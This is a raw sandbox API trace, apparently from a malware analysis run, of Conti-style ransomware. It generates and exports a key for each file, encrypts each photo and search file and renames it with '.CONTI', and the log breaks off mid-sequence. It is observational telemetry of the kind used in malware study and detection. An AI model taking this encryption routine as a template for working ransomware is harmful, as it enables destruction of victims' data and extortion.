	[0143.794] GetProcessHeap () returned 0x1720000
	[0143.794] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0143.794] CryptDestroyKey (hKey=0x6b7e7f8) returned 1
	[0143.794] GetProcessHeap () returned 0x1720000
	[0143.794] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bee10 | out: hHeap=0x1720000) returned 1
	[0143.794] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0143.794] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e2a0 | out: phKey=0x6b4e2a0*=0x6b7e7f8) returned 1
	[0143.794] CryptExportKey (in: hKey=0x6b7e7f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e2a4, pdwDataLen=0x393fdd4 | out: pbData=0x6b4e2a4*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0143.795] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\-RWlly3iyInk.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\-rwlly3iyink.jpg")) returned 0x20
	[0143.795] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\-RWlly3iyInk.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\-rwlly3iyink.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0143.796] GetLastError () returned 0x0
	[0143.796] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=85527) returned 1
	[0143.796] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14e17
	[0143.796] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.796] SetEndOfFile (hFile=0x490) returned 1
	[0143.796] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.796] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.796] WriteFile (in: hFile=0x490, lpBuffer=0x6b4e2a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b4e2a4*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0143.799] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.800] ReadFile (in: hFile=0x490, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x14e17, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x14e17, lpOverlapped=0x0) returned 1
	[0143.801] CryptEncrypt (in: hKey=0x6b7e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x14e17, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x14e20) returned 1
	[0143.802] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.802] WriteFile (in: hFile=0x490, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x14e20, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x14e20, lpOverlapped=0x0) returned 1
	[0143.802] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.802] WriteFile (in: hFile=0x490, lpBuffer=0x6b4e298*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b4e298*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0143.802] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.802] CloseHandle (hObject=0x490) returned 1
	[0143.802] GetProcessHeap () returned 0x1720000
	[0143.802] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0143.802] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\-RWlly3iyInk.jpg" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\-RWlly3iyInk.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\-RWlly3iyInk.jpg"
	[0143.802] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\-RWlly3iyInk.jpg", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\-RWlly3iyInk.jpg.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\-RWlly3iyInk.jpg.CONTI"
	[0143.802] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\-RWlly3iyInk.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\-rwlly3iyink.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\-RWlly3iyInk.jpg.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\-rwlly3iyink.jpg.conti")) returned 1
	[0143.803] GetProcessHeap () returned 0x1720000
	[0143.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0143.803] CryptDestroyKey (hKey=0x6b7e7f8) returned 1
	[0143.803] GetProcessHeap () returned 0x1720000
	[0143.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741340 | out: hHeap=0x1720000) returned 1
	[0143.803] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0143.803] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e978 | out: phKey=0x6b4e978*=0x6b7e7f8) returned 1
	[0143.803] CryptExportKey (in: hKey=0x6b7e7f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e97c, pdwDataLen=0x393fdd4 | out: pbData=0x6b4e97c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0143.804] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\22amMWhH3.png" (normalized: "c:\\users\\fd1hvy\\pictures\\22ammwhh3.png")) returned 0x20
	[0143.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\22amMWhH3.png" (normalized: "c:\\users\\fd1hvy\\pictures\\22ammwhh3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0143.808] GetLastError () returned 0x0
	[0143.808] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=7839) returned 1
	[0143.808] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e9f
	[0143.808] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.808] SetEndOfFile (hFile=0x494) returned 1
	[0143.810] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.811] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.811] WriteFile (in: hFile=0x494, lpBuffer=0x6b4e97c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b4e97c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0143.813] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.813] ReadFile (in: hFile=0x494, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x1e9f, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x1e9f, lpOverlapped=0x0) returned 1
	[0143.816] CryptEncrypt (in: hKey=0x6b7e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x1e9f, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x1ea0) returned 1
	[0143.816] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.816] WriteFile (in: hFile=0x494, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x1ea0, lpOverlapped=0x0) returned 1
	[0143.816] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.816] WriteFile (in: hFile=0x494, lpBuffer=0x6b4e970*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b4e970*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0143.816] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.817] CloseHandle (hObject=0x494) returned 1
	[0143.817] GetProcessHeap () returned 0x1720000
	[0143.817] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0143.817] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\22amMWhH3.png" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\22amMWhH3.png") returned="C:\\Users\\FD1HVy\\Pictures\\22amMWhH3.png"
	[0143.817] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\22amMWhH3.png", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\22amMWhH3.png.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\22amMWhH3.png.CONTI"
	[0143.817] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\22amMWhH3.png" (normalized: "c:\\users\\fd1hvy\\pictures\\22ammwhh3.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\22amMWhH3.png.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\22ammwhh3.png.conti")) returned 1
	[0143.819] GetProcessHeap () returned 0x1720000
	[0143.819] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0143.819] CryptDestroyKey (hKey=0x6b7e7f8) returned 1
	[0143.819] GetProcessHeap () returned 0x1720000
	[0143.819] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17befc8 | out: hHeap=0x1720000) returned 1
	[0143.819] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0143.819] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f4e0 | out: phKey=0x6b4f4e0*=0x6b7e7f8) returned 1
	[0143.820] CryptExportKey (in: hKey=0x6b7e7f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f4e4, pdwDataLen=0x393fdd4 | out: pbData=0x6b4f4e4*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0143.820] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4t1F.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4t1f.jpg")) returned 0x20
	[0143.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4t1F.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4t1f.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0143.822] GetLastError () returned 0x0
	[0143.822] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=24496) returned 1
	[0143.822] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5fb0
	[0143.822] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.822] SetEndOfFile (hFile=0x494) returned 1
	[0143.822] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.822] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.822] WriteFile (in: hFile=0x494, lpBuffer=0x6b4f4e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4e4*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0143.827] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.827] ReadFile (in: hFile=0x494, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x5fb0, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x5fb0, lpOverlapped=0x0) returned 1
	[0143.829] CryptEncrypt (in: hKey=0x6b7e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x5fb0, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x5fc0) returned 1
	[0143.829] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.829] WriteFile (in: hFile=0x494, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x5fc0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x5fc0, lpOverlapped=0x0) returned 1
	[0143.829] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.829] WriteFile (in: hFile=0x494, lpBuffer=0x6b4f4d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4d8*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0143.829] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.829] CloseHandle (hObject=0x494) returned 1
	[0143.830] GetProcessHeap () returned 0x1720000
	[0143.830] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0143.830] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\4t1F.jpg" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\4t1F.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\4t1F.jpg"
	[0143.830] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\4t1F.jpg", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\4t1F.jpg.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\4t1F.jpg.CONTI"
	[0143.830] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4t1F.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4t1f.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4t1F.jpg.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\4t1f.jpg.conti")) returned 1
	[0143.830] GetProcessHeap () returned 0x1720000
	[0143.830] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0143.830] CryptDestroyKey (hKey=0x6b7e7f8) returned 1
	[0143.830] GetProcessHeap () returned 0x1720000
	[0143.830] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d5f8 | out: hHeap=0x1720000) returned 1
	[0143.830] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0143.830] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b50290 | out: phKey=0x6b50290*=0x6b7ebf8) returned 1
	[0143.830] CryptExportKey (in: hKey=0x6b7ebf8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50294, pdwDataLen=0x393fdd4 | out: pbData=0x6b50294*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0143.831] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Berh6.png" (normalized: "c:\\users\\fd1hvy\\pictures\\berh6.png")) returned 0x20
	[0143.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Berh6.png" (normalized: "c:\\users\\fd1hvy\\pictures\\berh6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0143.831] GetLastError () returned 0x0
	[0143.831] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=80057) returned 1
	[0143.832] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x138b9
	[0143.832] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.832] SetEndOfFile (hFile=0x494) returned 1
	[0143.832] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.832] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.832] WriteFile (in: hFile=0x494, lpBuffer=0x6b50294*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b50294*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0144.755] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.755] ReadFile (in: hFile=0x494, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x138b9, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x138b9, lpOverlapped=0x0) returned 1
	[0144.756] CryptEncrypt (in: hKey=0x6b7ebf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x138b9, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x138c0) returned 1
	[0144.756] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.756] WriteFile (in: hFile=0x494, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x138c0, lpOverlapped=0x0) returned 1
	[0144.756] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.756] WriteFile (in: hFile=0x494, lpBuffer=0x6b50288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b50288*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0144.756] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.756] CloseHandle (hObject=0x494) returned 1
	[0144.757] GetProcessHeap () returned 0x1720000
	[0144.757] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0145.190] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Pictures\\Berh6.png" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\Berh6.png") returned="C:\\Users\\FD1HVy\\Pictures\\Berh6.png"
	[0145.190] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\Berh6.png", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\Berh6.png.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\Berh6.png.CONTI"
	[0145.190] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\Berh6.png" (normalized: "c:\\users\\fd1hvy\\pictures\\berh6.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\Berh6.png.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\berh6.png.conti")) returned 1
	[0145.208] GetProcessHeap () returned 0x1720000
	[0145.208] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0145.208] CryptDestroyKey (hKey=0x6b7ebf8) returned 1
	[0145.208] GetProcessHeap () returned 0x1720000
	[0145.208] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d648 | out: hHeap=0x1720000) returned 1
	[0145.208] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0145.208] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65d2520 | out: phKey=0x65d2520*=0x17de850) returned 1
	[0145.208] CryptExportKey (in: hKey=0x17de850, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2524, pdwDataLen=0x393fdd4 | out: pbData=0x65d2524*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0145.209] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms")) returned 0x20
	[0148.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0148.643] GetLastError () returned 0x0
	[0148.643] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=855) returned 1
	[0148.643] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x357
	[0148.643] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.643] SetEndOfFile (hFile=0x390) returned 1
	[0150.337] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0150.337] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0150.337] WriteFile (in: hFile=0x390, lpBuffer=0x65d2524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65d2524*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0150.347] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0150.350] ReadFile (in: hFile=0x390, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x357, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x357, lpOverlapped=0x0) returned 1
	[0150.350] CryptEncrypt (in: hKey=0x17de850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x357, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x360) returned 1
	[0150.350] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0150.350] WriteFile (in: hFile=0x390, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x360, lpOverlapped=0x0) returned 1
	[0150.351] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
